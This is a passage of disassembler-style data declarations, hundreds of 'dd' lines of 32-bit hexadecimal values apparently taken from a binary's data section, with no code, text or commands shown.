		dd 402C0624h, 88DA0CABh, 24034347h, 0ACDF06E0h,	0A8486151h
		dd 0F1AAE9A9h, 0C8584A9Fh, 3867C6A0h, 2B01B17Dh, 3D010E1Dh
		dd 0FC50409Bh, 3487E1h,	78B7E0CBh, 0AAC34253h, 1B2A0702h
		dd 0A0674585h, 9CD856E8h, 36FD2679h, 90E99BCh, 0F81C24CCh
		dd 77797507h, 0B202FACh, 89E0939h, 0BDB21550h, 7E74D640h
		dd 98CC0006h, 0E0A33964h, 0BE449CC9h, 3D6D014Ah, 45DD8DEFh
		dd 0A7683044h, 3427488h, 24B2028Fh, 81805FDh, 0B8A13548h
		dd 0CE4C016Eh, 0E386C8C1h, 0AD19808Fh, 0EED77431h, 44A816C6h
		dd 0F13400E9h, 0FC627DC9h, 0FF0F36F8h, 84D80E30h, 0EE82C757h
		dd 0C2306765h, 0E01B56B7h, 3004A510h, 6719890Ch, 0AE07FC31h
		dd 239DCED0h, 13EDBC30h, 471226A7h, 7D5001B9h, 2043383Fh
		dd 3FB2758h, 0D0600202h, 0B6EAC1B4h, 0F8083043h, 0AB54A06h
		dd 83C0BD6Dh, 0B607ED34h, 0FA2803B8h, 59A93712h, 0C074DC08h
		dd 0CE4BF605h, 0BC220946h, 0F61DA50Eh, 0F93AE095h, 7DA4A3E5h
		dd 0A8D6521Eh, 0C930B114h, 91981D28h, 0FA53D10Ch, 0EF57F918h
		dd 43F09020h, 241F0196h, 0AAE82C17h, 766A000Bh,	0ECEACB24h
		dd 84C7EECDh, 0DC013C98h, 0CC9F013Bh, 0BC57880Fh, 994DC740h
		dd 83A401E2h, 0FBCB7D63h, 15B0C85Dh, 3F3D9D03h,	2374E550h
		dd 0B0166C8h, 19CE11F6h, 0A30E944Eh, 4660F603h,	43C12B90h
		dd 1421F700h, 33303663h, 28389AAAh, 30604948h, 5799820Fh
		dd 66000BEFh, 59A0FD7Bh, 0BC89ECh, 0BD12041Eh, 35936996h
		dd 7803282Ch, 0C9C08685h, 2AC7F444h, 3EF174C9h,	1007483Dh
		dd 0E9EF013Dh, 0D894F804h, 24084B3Ch, 0C4482C0Bh, 427640A0h
		dd 3CF1E824h, 700582ECh, 0C0D36CDEh, 0F55B1820h, 9469D724h
		dd 35B96600h, 98407B58h, 0CE372714h, 2826B9FEh,	0AB300703h
		dd 0C89139E0h, 0A133BE99h, 717CB047h, 48D4A8D7h, 0C70CC4B6h
		dd 219BE96h, 93C160Fh, 0B78D208Fh, 906B985Ch, 8849F078h
		dd 0AB4C5F47h, 0FE48C008h, 98CF4C6Fh, 1774658h,	37F77962h
		dd 0C60C59B9h, 39BFA88h, 24543979h, 3EC2B02Bh, 0F3DC8C87h
		dd 4912BFBBh, 0FC1842CDh, 509B34E0h, 0AC444Bh, 0ABD2564Ch
		dd 6DF95D69h, 9544741Ch, 7547A86Eh, 73FEDBA0h, 0A8C90758h
		dd 333F9908h, 0B8065F9Fh, 0EE861465h, 0AD9630C1h, 55AA1139h
		dd 1E060304h, 0B898E6A8h, 176918AEh, 0C4059047h, 0F84A4C0Ch
		dd 95A1039h, 0B3121A5Bh, 0F8B41486h, 0AC95AB18h, 1782459h
		dd 1B5ACC27h, 0C0C8CF77h, 0B2682E1Ah, 4674A030h, 0BDB703AFh
		dd 8EC78573h, 0B2181619h, 0A0DC5002h, 3B3F7208h, 0EBAF6701h
		dd 0B426758Eh, 9F60C13h, 0B43101DCh, 49610BEh, 0E7321DF6h
		dd 7B05825Ah, 80442CC8h, 601A5C3Fh, 0D323D6C1h,	8BC9090h
		dd 0C8DAE334h, 3F86B482h, 9B508004h, 0F0D09D6h,	7FB75A4Fh
		dd 987130Ah, 5469B633h,	8FF45054h, 0E1000FEBh, 0EFF20EC9h
		dd 183895h, 2934097Bh, 650494FCh, 31479C30h, 1DEEABF4h
		dd 803AFB03h, 9169EB6Eh, 0A300A895h, 3FFC1364h,	579F143h
		dd 5F1A35EEh, 0FD30981Eh, 0BB6E7404h, 8E32DAF1h, 90957323h
		dd 241372A7h, 172ACCE1h, 0A8FC1DDEh, 0ED5D25A0h, 0AF11B817h
		dd 91EA0392h, 0C8D0793Eh, 8474C17Dh, 8958044Ch,	4E60689Ch
		dd 0A1906Bh, 14FF2134h,	35E026E4h, 685ED124h, 0B4C8670Ah
		dd 17BF3080h, 0F607348h, 99F5B11Bh, 0FDE7D520h,	3F00FB7Eh
		dd 0EE7A867Dh, 0C0559B9Ah, 62DF4861h, 0EA007978h, 0A5FC619Fh
		dd 253A95Bh, 0FD5A65B9h, 0B44075EEh, 49104C7h, 0D7104518h
		dd 0C9F73A4Bh, 0B0C0285Ch
		dd 0E4254CF8h, 20D8E779h, 2438BBA8h, 11CD4CAh, 556F303Ch
		dd 81028C3h, 1685B372h,	0CB747433h, 0C2B288A4h,	8669E51h
		dd 0D1008977h, 1C6B4430h, 0B72995Dh, 0FBAC63F2h, 0F0B78800h
		dd 0E8A0D4B8h, 0C920F464h, 29A4659h, 0CE15F617h, 14CC739h
		dd 21F610FFh, 0BD98F816h, 0AC87E804h, 0DC88C986h, 91B4609Dh
		dd 0CC2EAB22h, 0DB5D6F00h, 0E5429CF0h, 66AC390Ch, 0A01FD70Fh
		dd 59FF6AE2h, 0C2B5F06Bh, 8060878Ch, 0C0AB0633h, 0A071BABAh
		dd 53974082h, 600324C3h, 176174FCh, 2CDAF9BBh, 9312FAA0h
		dd 49090873h, 0AF889095h, 0D4ECB7h, 91C89807h, 0D2DCFF2Ch
		dd 332A94A1h, 30CBA25Ch, 0E5006171h, 0A9931AC4h, 489638BCh
		dd 0E1308AFh, 519C1881h, 2D25C846h, 9708127Dh, 0C639D8h
		dd 0E13ACE54h, 59451328h, 2D8024ADh, 0E72A69CFh, 52041A7Dh
		dd 9B74D917h, 78A40C8h,	55D5A0Ah, 58C9E02Dh, 82003F7Ah
		dd 0FC03FD8Ch, 92C4542h, 0A7B31A0Fh, 68C504BAh,	0E360AFC4h
		dd 5A02FD27h, 1C51ACD4h, 0FA844384h, 4EF091BDh,	4401C860h
		dd 0C927F64Ch, 7C82030h, 1364B0CCh, 0C5E141BBh,	80F61214h
		dd 9F6F28C4h, 3ACA88h, 0DEB244D5h, 0A61A0164h, 0C828F862h
		dd 10F0663Eh, 0CB8A32h,	0CCC402EEh, 5C3A3B72h, 0E084FC55h
		dd 0E2B4B29Fh, 0FFD830DDh, 8E222807h, 98DCCF78h, 6096F405h
		dd 27529A6h, 0CC0EB108h, 804CAD07h, 0EA92AB53h,	0C935123Bh
		dd 807E1D1Ch, 0C78F121Dh, 44B45028h, 20C36789h,	0F5C6D338h
		dd 370D0957h, 6A80778Ch, 4305C060h, 0CF00E372h,	0EEFF4BB3h
		dd 18CE0464h, 0E0299052h, 4D549B51h, 630018B4h,	7CBF0BA1h
		dd 14C8A367h, 0D0838772h, 0DFBCA45Ch, 2EFD388Ch, 549716B8h
		dd 1078209Bh, 47FCFAE4h, 97502103h, 0BD644ACCh,	43DCF0CCh
		dd 91B02784h, 16189BF4h, 0CE23F672h, 0BBA1131h,	74F6EF80h
		dd 94D600BBh, 156F732h,	7837DF09h, 99C8A917h, 0F42035C4h
		dd 6AE0041h, 59B88E36h,	4000DE75h, 0AF466883h, 923B0C04h
		dd 47F01Ch, 4BBA2DD9h, 0CDFA2795h, 15C8C102h, 0D8F84966h
		dd 0FF2F0910h, 2482BB6Ch, 14603C86h, 85261AB3h,	63C02848h
		dd 4637F879h, 0D12291h,	99799801h, 0B7FF8B14h, 183E1F3Ah
		dd 0B159C368h, 0E2851875h, 2CC731DEh, 9CA93A64h, 0F5C4E4h
		dd 4990A243h, 0FF59A936h, 1F7B3C7Eh, 125C84A0h,	84848624h
		dd 0C5C03AA5h, 60BAC4A8h, 6451BBh, 3E42B2E9h, 0C88E3713h
		dd 5C432C96h, 88A1CDC2h, 0D83CF4E1h, 56438DBCh,	48F64500h
		dd 125B46C2h, 50D6EE32h, 0A7A085B4h, 0C04EB408h, 37F67965h
		dd 0CA228146h, 799A1F02h, 7965CFC7h, 0E4890060h, 8E3BB24Eh
		dd 0A6F75813h, 0BCBCF4C8h, 1A510B30h, 0F960146Dh, 1D91AA6Ch
		dd 58F128A5h, 936A584Ah, 12043C40h, 37ED8EC8h, 7D06C03Ch
		dd 5F01D09Ch, 0F976CF8Ah, 0E42D33B9h, 5E18BA0Bh, 0B8B5F040h
		dd 74B43B01h, 480BD733h, 0BF58E840h, 0E4AF139Ah, 91E41832h
		dd 0C818CF85h, 0D0A80174h, 3A09B45h, 0F462C405h, 3C303005h
		dd 24B202E2h, 0E8C54101h, 0D0AAEB4Ah, 0C72CEF92h, 389DF5h
		dd 66ABAC1Eh, 75B2B0h, 0E416017Fh, 697C29C5h, 0CBF4C603h
		dd 0A09A3F82h, 13C7B6Fh, 6119FE1h, 8E868D16h, 3F44EB10h
		dd 0FBC00F1Eh, 17F2B8FAh, 0EDE4076Ch, 90081429h, 3D834EC8h
		dd 73CAC300h, 3F55F4F7h, 0FBF3003Eh, 47E8F5ECh,	66013617h
		dd 372BB841h, 30DE5Fh, 5B904F8h, 0C3A7F7B5h, 30D48674h
		dd 230D244Dh, 0A111F82Ch, 5B249860h, 51037A25h,	94E3222Bh
		dd 0C8B4ADC7h, 20CA5B68h, 5C33B08h, 0B84C1B49h,	2C420577h
		dd 80FEA0A7h, 3439AEC4h, 0A9588E64h, 0B8B4A285h, 0F2F1026Bh
		dd 0FDECAB4Bh, 49135EE3h, 0DC8B9EB8h, 17C0DC88h, 17D2B61Fh
		dd 0CB1A5B8Ch, 56888458h, 0FF705830h, 9CBA7D12h, 0C45DC490h
		dd 0D8CF0038h, 0E017A793h, 0CD0B6BEEh, 9B1DBEh,	85503F02h
		dd 0C1DF60CBh, 5EFB2BBDh, 5F4DCA0h, 0B8B2B313h,	7A72A488h
		dd 2088A4EFh, 209EC8C4h, 0B4AF215Eh, 63380780h,	4CFF0CC6h
		dd 207CE4AAh, 0ED00A7E1h, 0D591AD8Bh, 0FF84BE31h, 0A3BC883Ch
		dd 6758Ch, 7BD1BAFh, 6BCAE570h,	0DE351401h, 0C2A8D72Fh
		dd 4B62F034h, 0C7944F1Fh, 0BD035580h, 5EB8D6C9h, 2059D000h
		dd 578FEE89h, 2C6D4A51h, 5F400530h, 8EC72486h, 0C0B0923Ch
		dd 13651474h, 195F4831h, 0A9D67B8h, 86093F04h, 8066D7C8h
		dd 4A9D0C1Dh, 4E00802Dh, 95266C3Ah, 0DCE8B40Ch,	3CD0AF0Ch
		dd 1FC7C0CAh, 0C3C53E15h, 8F13073Dh, 3C2F590Dh,	0DD96864h
		dd 0F02848FAh, 0A0400080h, 657F586Bh, 2A007CF1h, 0B85FCC1h
		dd 25E049Dh, 96242842h,	9851AAC9h, 865F5178h, 9A070BF6h
		dd 6182274Ch, 15B53210h, 25F8B9B9h, 0C806E002h,	0F7213607h
		dd 0C214C2B3h, 8CC7517Ch, 2860B144h, 651D16F7h,	30EA3201h
		dd 0C3469F10h, 0C4B66E15h, 1D60E300h, 0AC41CE96h, 0EADCBE04h
		dd 0C4A0FCA7h, 2B9F0457h, 0ADCBE384h, 7E167734h, 264AC0h
		dd 31C71849h, 4E15218Fh, 5ADF7214h, 0DB4202D8h,	0C8BB2BB1h
		dd 815BC73Ch, 0FE10E467h, 82A0A869h, 40636F7Ch,	484DF3BCh
		dd 0EF1078B5h, 2416C096h, 94302C18h, 306D5988h,	20F015A4h
		dd 0B0617C4Fh, 1C6D232h, 57D3283Ch, 63AC384h, 3DFB8103h
		dd 81C114E1h, 0A0302539h, 9F028C44h, 7136FC79h,	0F5091658h
		dd 4A27974h, 0DCE4BDBFh, 21346747h, 0A05909B8h,	5D876700h
		dd 0EEA74Fh, 6D2D624h, 50F6B818h, 24372C3Ah, 5B076CC9h
		dd 0CA316462h, 0A8A6DFEAh, 84C40938h, 4820C01Ch, 0DF150D66h
		dd 0C5385A8Ah, 0CCEE00CBh, 8E5828F0h, 908749ECh, 0F73DE100h
		dd 0B2EE2601h, 95FF2417h, 740C54D0h, 18100025h,	0AFC3F22h
		dd 4000A160h, 0E58BDA2Eh, 0F826D6h, 0FD14BF7Fh,	43382C05h
		dd 0C6449CA7h, 92AAB160h, 15F08B17h, 283A4430h,	9D9F49Bh
		dd 399C6A05h, 649C0CC6h, 48B04656h, 28BE126Ch, 80FCBC10h
		dd 48427545h, 5BC8B63Ch, 9C650812h, 0FCDD60D0h,	0A6AD0018h
		dd 0FD7F93EEh, 13506F1Dh, 0B47580h, 361C2640h, 56DB00B7h
		dd 0C478B87Bh, 60040C5Ch, 0CF077604h, 0D9BC4CA8h, 0E6D8078Ch
		dd 0D24C5051h, 1F62AFD5h, 0B4042079h, 50A18A11h, 2B976022h
		dd 752231Ch, 80B70CABh,	0DC9344A3h, 50603C4Ch, 564181ACh
		dd 1D2040DEh, 823812BAh, 0C344FD3h, 5DBC21B8h, 9A5CDA00h
		dd 34817C65h, 0F79002Ah, 0B6538FAEh, 0B30BCF9Ch, 45EBB502h
		dd 60B2C410h, 49C8694Ah, 0A684F429h, 0FAA03CAh,	0F7890080h
		dd 53B339E0h, 905CC644h, 1D960180h, 5B7BC20Eh, 5A216431h
		dd 4CD99DCCh, 404B907Eh, 0AD2DFF7Ch, 273FC5F1h,	5FEF80FBh
		dd 12D846FCh, 6D691D91h, 5D86451Dh, 368C200Ch, 1600899Eh
		dd 0B92F8373h, 4858C04Eh, 6C0EB875h, 6D805B41h,	5D84F50Dh
		dd 0DAD1ECB1h, 0DE261918h, 0D560E437h, 31F9B0Eh, 50330BBEh
		dd 90F288C9h, 0DD7B3044h, 7C529F26h, 604B020Bh,	80D348BCh
		dd 8C5D3ACEh, 0E8E0586Ch, 89008CDDh, 0EEF6412Fh, 0F3D7C04h
		dd 0CE23C353h, 0D3386CC4h, 0DAC218F8h, 0BCE68864h, 6D165CB1h
		dd 0DFC0B8D4h, 388BC1h,	76509160h, 0BFEF8E6Eh, 0C8B56800h
		dd 0B2092E3Ah, 5EA494DEh, 803D846h, 0D11CA72Ch,	8415F90Eh
		dd 0B725266Ch, 20E51328h, 2A4C0F3h, 85449D7Ch, 6A330963h
		dd 18002651h, 9B77BC79h, 0FF29C206h, 0F50CC44h,	2DD2457h
		dd 83DEDA64h, 0D8059F44h
		dd 89983ACBh, 0B4EAB000h, 4A58B756h, 154083EFh,	3F2F6AB0h
		dd 0A733D8C0h, 98D83238h, 28411DD4h, 2C0AC37h, 6C4A5845h
		dd 290944F8h, 1DEE4978h, 80DB1120h, 0C25BE3E0h,	620BC52h
		dd 0F9AF208Eh, 11461890h, 6375FA02h, 0E8F1E9BBh, 75F1F860h
		dd 1F5C073Dh, 26D73091h, 0B60DC038h, 0B0200C39h, 54E4C460h
		dd 15DDF4C0h, 80491F2Bh, 0E20A8F12h, 401B1334h,	0FB4E4E00h
		dd 0EC5CA4h, 3B6649B6h,	8BAC3831h, 67D58F00h, 4372CA13h
		dd 0B560C45Dh, 0F6D4C835h, 0A3208F12h, 0A898F0h, 7E05EEFBh
		dd 0E828C75Fh, 74685E68h, 5F51215Ch, 77106980h,	0BCE8D64h
		dd 9B508127h, 96F8F813h, 6B269056h, 6C0CEA99h, 0BF1C2h
		dd 58433414h, 8FB0916h,	0C7FEED03h, 5A50CF4h, 5EFA05F8h
		dd 0F948200Ah, 0BB2F6275h, 3416D1h, 0F475F0E7h,	0AC96CE2Ch
		dd 4BB088h, 130D9F74h, 0AD81D773h, 0B509FCB6h, 0C45465ECh
		dd 0FEE860BEh, 0F25D0142h, 0B583596h, 0DBAC41BFh, 0B87C2DEBh
		dd 359C07C6h, 0D9416640h, 297C0841h, 0C0BC04D0h, 98EDB6BEh
		dd 0C2A7217Eh, 0AD4220B1h, 7304107h, 465C228Fh,	9559B0A0h
		dd 0C6153B0Ch, 2A4B4FEh, 8BEC42CCh, 0B302C07Ch,	2A9EA11h
		dd 707CE7B8h, 5F50215Eh, 24708Fh, 78DEC79Eh, 0F3070441h
		dd 0ECCC49B4h, 27AF3864h, 40000F56h, 0F181C919h, 88409B96h
		dd 3C025891h, 9065AC36h, 40804688h, 0F0F2888h, 84AACAD4h
		dd 409066E2h, 16F5C619h, 302FC822h, 0DAE61298h,	164A680h
		dd 3185CC06h, 38AEA0D7h, 0D4ED1C0Ch, 7483FA13h,	0D9601052h
		dd 8C6E5E3Dh, 0C5CE4D0Bh, 0A634BC90h, 28320F89h, 0A9210B03h
		dd 0D8B16B1Bh, 9AA6D407h, 0AD5D3203h, 9B86D7C7h, 9DD928CDh
		dd 0A5C20020h, 2D531D51h, 2407117Ah, 2AF0A7F8h,	9326F7D0h
		dd 0B06005Dh, 3FFF449Dh, 4F24D943h, 0E8256005h,	107E44h
		dd 0EC4B814Eh, 0AEC2FC93h, 409C64Ah, 8C70680Ch,	0FAE4EBh
		dd 8936681Ch, 7BAF6A12h, 5FD7E02h, 0DA6E0464h, 787479ACh
		dd 3DED1F58h, 0A363C07Ah, 96F6EBEEh, 0D8C28900h, 2172065Eh
		dd 5F572402h, 0BA467ED4h, 7358E203h, 0D5F065FBh, 0AB02E8FEh
		dd 0C8BB64A5h, 3C48C8A2h, 0D11F4A78h, 2E37EB14h, 4D843049h
		dd 0E85EC314h, 53E56CE0h, 2FB95402h, 40E74CFFh,	2C3ACA64h
		dd 286C0B71h, 35DA4570h, 9C204EBCh, 0FB1000E3h,	0A0E27514h
		dd 3EC84B16h, 9F6C8488h, 905700A0h, 0BE00D654h,	4652FC82h
		dd 120171D4h, 9B29C3Ah,	5C7175ECh, 865F5278h, 32AA6103h
		dd 38DAD2F6h, 0B627CF80h, 82DF9802h, 2F282161h,	0F56F8420h
		dd 0A052039Ah, 418D61Eh, 7063ABFAh, 2C1A94C1h, 8CCBB898h
		dd 859C881Fh, 0DABF48C4h, 2EC08882h, 478807AAh,	9F6A806Ch
		dd 0ECBA552Fh, 12029346h, 102C0C24h, 6958A874h,	0F67B849h
		dd 76469901h, 0B394BBA0h, 1631372Ch, 4748F0B5h,	3BB87980h
		dd 0EF69AE14h, 6607B4BEh, 19511C06h, 1C308610h,	0CBE422D8h
		dd 0F802EF46h, 0D9BB6575h, 0FE00BC9Ch, 663F75EFh, 1F6C28h
		dd 18EB1A7h, 64855697h,	3E7E3409h, 4F6C910Dh, 1D24E030h
		dd 403F4AB9h, 64180695h, 0F492139Bh, 2CCBEC4Ah,	73C0B088h
		dd 196F305h, 2FADCC15h,	7DAF6CD7h, 58610BBCh, 91400953h
		dd 822A1054h, 80400C4Ah, 0BC79A731h, 0AB8C3A88h, 64ACE5CCh
		dd 28B41898h, 10283BB7h, 4E594418h, 1070D02Ah, 2C5C09C2h
		dd 10601436h, 4BE974B4h, 0C5F4D09Bh, 8F07E230h,	88D1555Ah
		dd 0E846C31Eh, 48AC8454h, 0A8CD8BCh, 0B7BEB20Ah, 71AAA09Ch
		dd 83F4949Ch, 0D18A7397h, 0D64942D8h, 0F1B27D0Fh, 0BAEC87DEh
		dd 236FAEC0h, 0EFF81E32h, 0EEF09841h, 119FE586h, 0CAD565DCh
		dd 9D18182Dh, 0A69681BFh, 0C002B273h, 5C304BEEh, 1840616Ah
		dd 673ABC28h, 39BAC898h, 0B9013CB8h, 0D087C101h, 0E451DAE0h
		dd 0E0503696h, 954399h,	83019AEEh, 0E607A0D9h, 4A70ED03h
		dd 738D3A48h, 0A2AE0049h, 0DFCDB6F8h, 4504CE0Fh, 4D2BC882h
		dd 0FC026090h, 11B60025h, 0E931D8ABh, 0B907B3AAh, 3EEF4359h
		dd 863BBF90h, 2C640E51h, 248C55C9h, 34266308h, 3B12F0ECh
		dd 3C433000h, 933ADAh, 7EBAA5E0h, 0E2B23EC1h, 3DB84E07h
		dd 604EB39Dh, 621EF2A2h, 9510C09Bh, 85179FF6h, 0B5C10F00h
		dd 0B65F4B02h, 0D8AA00F9h, 6FD1E65h, 4D7FF26Eh,	6C1814B8h
		dd 3CE005BEh, 0E0A6FFh,	4761D8BAh, 819BAD3Eh, 8B20393Eh
		dd 88C9A0h, 28AA223Dh, 0EFA007Ah, 75E4ADE8h, 5E4FE1E3h
		dd 44A1CCCh, 658EB226h,	1ED8C053h, 0D90059BDh, 0E45101F7h
		dd 27DDE3EFh, 98C89BE6h, 0DA00318Bh, 0FDB7E8AEh, 0CFC00Dh
		dd 0F1CB88EFh, 921E07A6h, 51332900h, 5344E296h,	348B0015h
		dd 0B02A7160h, 13010E84h, 0C26A0203h, 0D180C886h, 7D3E1A56h
		dd 2C3FB0E4h, 9BCE1F67h, 48A4D656h, 800CB49Dh, 761249C7h
		dd 0C1ECEEAEh, 529CD911h, 0A370FF07h, 7E7AA0DBh, 510006A2h
		dd 6E3119F7h, 0FCC8EB62h, 0F8109514h, 2A002043h, 1F345E65h
		dd 0E0FE138h, 0D99E314h, 0B83190A0h, 0C1188505h, 0CD80023Ch
		dd 14CBEC33h, 43B98A4h,	115FE8BEh, 0A0F32FD1h, 37EE5F2h
		dd 15677A95h, 19035D6Dh, 3D474DF6h, 86AFE171h, 0C432ED8h
		dd 33497441h, 79030D41h, 1D26D2Ch, 3DC0B7EAh, 6790555Dh
		dd 0F0916144h, 0D67ED0A9h, 30F5AF01h, 8B19CB80h, 0BFC42CEDh
		dd 8EF718A5h, 0CD4C31EAh, 0D36BB200h, 0BCF14A8Ah, 30673017h
		dd 4CF86A70h, 3831600h,	5CE14EFFh, 81880655h, 0B977D102h
		dd 406A7D00h, 79DA9BACh, 6B0C0023h, 24F97A5Dh, 1852074Dh
		dd 0B007580h, 91341266h, 74D0F97Ch, 0E6750CFFh,	1490F206h
		dd 0E46F6978h, 0AE00081h, 6B0798Ah, 8F663B47h, 0E700B9EBh
		dd 0E46B52DBh, 3C571F28h, 3C31757Bh, 48711439h,	4F0056ACh
		dd 6772276Fh, 96B685h, 0DE41425Fh, 0C5642B9Eh, 86BAB105h
		dd 0B80E52BBh, 0F99006E4h, 83850069h, 0D8EC494Ah, 1000B66h
		dd 508E25C6h, 18B07A15h, 382D8386h, 1F75174Eh, 2E8FE0A0h
		dd 0A50041DCh, 0DA6BFDA0h, 16AB0FB9h, 74E34A5Dh, 1100B8EAh
		dd 7FB4E665h, 0FBE33Eh,	0CC2D96C8h, 0F21B5773h,	84B6E41Eh
		dd 850034A8h, 0E1076E4Ch, 1762FCEh, 8470B414h, 0D809A0FAh
		dd 5802F245h, 5AE5E23Dh, 0AF34408Eh, 56A33B6h, 49E1F6F8h
		dd 44A9B8FFh, 5B5E1FC6h, 86030018h, 0F1F80B2Ah,	79F5ED01h
		dd 550EAA67h, 1448DCh, 268B0602h, 0FC5B2C83h, 50EF4900h
		dd 90AF3FCEh, 0D7471FDEh, 18603C52h, 88A0010Eh,	0EE3A1615h
		dd 30F8B120h, 3ED32017h, 133A2832h, 0F683AFFh, 831229B3h
		dd 0E0274655h, 995D2Fh,	576A4361h, 0A4DB8A3Ah, 38401F34h
		dd 10812076h, 42047305h, 10500014h, 3A0603Dh, 7131007Ah
		dd 0DF40819h, 3607FEDFh, 0B446D451h, 4757E660h,	154E153Fh
		dd 8653433h, 0FC804FF2h, 0A00FB931h, 6580BE9Ch,	0B55CF32Eh
		dd 0BF09FC0Ah, 9548FF71h, 50042340h, 73613A8Eh,	71A54B10h
		dd 12164420h, 4EF6745h,	8092D4C1h, 0FDD38F34h, 4B850E06h
		dd 42297391h, 94F21101h, 11FEBF11h, 0D216CC1h, 94A62408h
		dd 0BB1128DBh, 65E91186h, 323A9826h, 2882A728h,	15247099h
		dd 128B4521h, 731481C3h, 510241EAh, 0D7B45020h,	0F8D60027h
		dd 2530B9A7h, 0B50FEC76h, 0D9488Eh, 891A3D71h, 0B6CF0705h
		dd 0A13C2B1Bh, 0E80DBACBh, 4005D25Ah, 0A5A0BDCDh, 0E1295C0h
		dd 93D30B15h, 0DC80A809h
		dd 0BF4707F8h, 18008670h, 9B113380h, 0AE0DA6h, 9EDF6A06h
		dd 0CC4FD40Ch, 0AA1F0900h, 0B8E58781h, 8EF60089h, 21A2C94Ch
		dd 800BCB1h, 0B072CBACh, 75A032Eh, 14AD5322h, 17B1001Ch
		dd 88009DD3h, 7454E477h, 7D9D6DBh, 1D05AFC0h, 3500AF34h
		dd 6C4F3C2Dh, 0C930AA60h, 2914194h, 9CF4EAC7h, 0C9E08736h
		dd 0BF256E2h, 92F6B100h, 5ECBA72Ah, 4CB200B7h, 0B3ED0EE6h
		dd 1A48EB71h, 8F1C00DEh, 7E50DE72h, 8A2E005Ah, 0E28EFACEh
		dd 0CA13B72Dh, 7101D05Bh, 0B19EDD13h, 19E6C0h, 91FF628Dh
		dd 51D5DF87h, 9298AE02h, 0C8AA27D1h, 0C4EF80h, 68D3F612h
		dd 66AD2FC6h, 3A4C138h,	0BBFE13CFh, 0CA99B87Fh,	2A7800E3h
		dd 0EA7A4CD8h, 0B5008766h, 0FCD07E30h, 0E106C4h, 1BA98578h
		dd 37B1745Fh, 3996E63Ch, 51138127h, 4681DD62h, 439E3292h
		dd 3AACBF84h, 28247F9Bh, 85008365h, 0F79EB560h,	86BC005Ah
		dd 0E611FF90h, 5D0AE9A9h, 0ACA075A8h, 5EA52900h, 2CA69F1Ch
		dd 1B8F702Dh, 379048D4h, 90302EB4h, 421E70BDh, 3E69022Dh
		dd 0C57FDD4Fh, 93A9C448h, 0C99A1500h, 35FC9974h, 71A0007Ch
		dd 0B3A194ECh, 7D072406h, 0B6D28090h, 604272B0h, 9DC800E3h
		dd 95F543D8h, 5DE83ADBh, 3C9F3Fh, 3B738E36h, 7693C8h, 0B8D19411h
		dd 2D1F2F64h, 0A8E86707h, 92402C1Bh, 10D434h, 0D3F3900Ch
		dd 180AC425h, 2B0060EAh, 7DD96970h, 53423h, 0B036DA68h
		dd 0CC3879F6h, 22021000h, 31E006B6h, 1D770B52h,	3807A7Bh
		dd 78CE7EC9h, 5181E900h, 367F895Ah, 0A8800109h,	0DE3E3271h
		dd 0F030F967h, 84A07616h, 8700ACFDh, 1A8320EFh,	0F62C9h
		dd 0A848DB92h, 0F1C29FBAh, 0A3394401h, 5F49AAB6h, 9BCCE0h
		dd 0B87DC02Fh, 0B01C0F42h, 395E0905h, 0C9C33ED1h, 0BE599874h
		dd 0EEF682h, 7E9214A8h,	791632DAh, 0C85F5B00h, 522DFAE1h
		dd 4E39004Ah, 0D62881C6h, 5900AEDEh, 0BF17A6DCh, 516CA1h
		dd 0CF3664F1h, 0D562D3FDh, 4732F4A0h, 66D0E6F6h, 1CF41FF4h
		dd 0BD132CE4h, 0C4E50C00h, 14779FC8h, 0D4B1EE84h, 86317400h
		dd 708A2A0Ch, 8F006490h, 8953E13Bh, 0E582F9Eh, 7B988DDh
		dd 66E9C180h, 0D7172417h, 4100ECEFh, 0A8F20D75h, 85443056h
		dd 0C3B776A0h, 0E090E9FAh, 58BBB400h, 0E5DD5DD9h, 40FEEFh
		dd 0D4DB80C6h, 331862B8h, 0EE4B7200h, 650B1077h, 3D98008Eh
		dd 7C51ACABh, 230039EDh, 59D8C8F3h, 728F401h, 0C39C9005h
		dd 0C0D10780h, 5CD0D64Fh, 0C5CE1000h, 6A20DFBFh, 0F8B818h
		dd 907F4C09h, 0E25030ADh, 1E3C7DF2h, 0F0A88034h, 0C4204A01h
		dd 63980042h, 0E4836008h, 0ED1C3A55h, 0F7C06572h, 0A595B849h
		dd 0E31D0758h, 1014DA0Bh, 11A13BD3h, 0CBBF2000h, 0E8E2373h
		dd 66EB38C9h, 67906D81h, 0C001ECE1h, 0E5245F6Eh, 16072391h
		dd 4AC35E62h, 7F0E80A6h, 0AE7904E2h, 93EE8B95h,	23807C00h
		dd 0B8A06D88h, 0FD004F65h, 12B28439h, 1FE65216h, 4031EA68h
		dd 0DE23A203h, 0C9851BEh, 9F914D00h, 38B8EE4Ch,	556F0050h
		dd 56614F80h, 0BF00452Bh, 0E0FD9ADCh, 7622628Fh, 0AC73FB9h
		dd 0BF35E00h, 9CBB5FD3h, 62037D06h, 0F20D4EBh, 0A461F10Ch
		dd 0B9BFD2BBh, 7D3BA00h, 6900D25Eh, 8D3FED72h, 3B6FBD05h
		dd 8500A1BBh, 0C52E18A0h, 0F47C2774h, 0D3679802h, 5052BD72h
		dd 7C49489Ch, 807DEC1Dh, 0BB6E6460h, 0E40025F4h, 0CE3BFE93h
		dd 6005399Ch, 1357C0C6h, 0C9002B1Ch, 11D96D23h,	5A73BADh
		dd 5D9ABD4Bh, 40E0F1F5h, 8798DB4h, 0D7B46550h, 10231709h
		dd 547800B2h, 0B3F615h,	0C10A0402h, 1407DE94h, 0CA1C3301h
		dd 159A7772h, 6554F8h, 8B7A6C53h, 0D9C92F2Eh, 0E5D4200h
		dd 0D6B60BFFh, 12F2000Fh, 5905A32Dh, 0FCC09A82h, 4E1FDB0Ch
		dd 85390BEFh, 8F03B5D0h, 65B8B4D3h, 8A0FB799h, 66211B05h
		dd 284CE0h, 0EBCA452Ah,	0C4FA80D2h, 3DB6E700h, 516A9EFEh
		dd 0FC00B0ACh, 82B807AAh, 0D02EF010h, 12171F13h, 0F3712700h
		dd 0F22AD54Ah, 1D64714Ch, 0C05A7CD0h, 7540961Ah, 0C700A43Dh
		dd 4C87E3CBh, 8B8F27h, 44D67D8Dh, 0CE210DCh, 0A3664201h
		dd 0C92C245Dh, 919D050h, 4D7B0F05h, 7E800EBFh, 0B435A49Ah
		dd 2E643Ch, 96296CE5h, 54C831F8h, 0F0ECCA5h, 630A3CB2h
		dd 1BE08BAFh, 24ACDB4Ch, 8477AA26h, 0D749BD85h,	2FA6C8Ch
		dd 0FBFF8CF5h, 405D541Bh, 45D43Eh, 2012BCA8h, 7B6E7708h
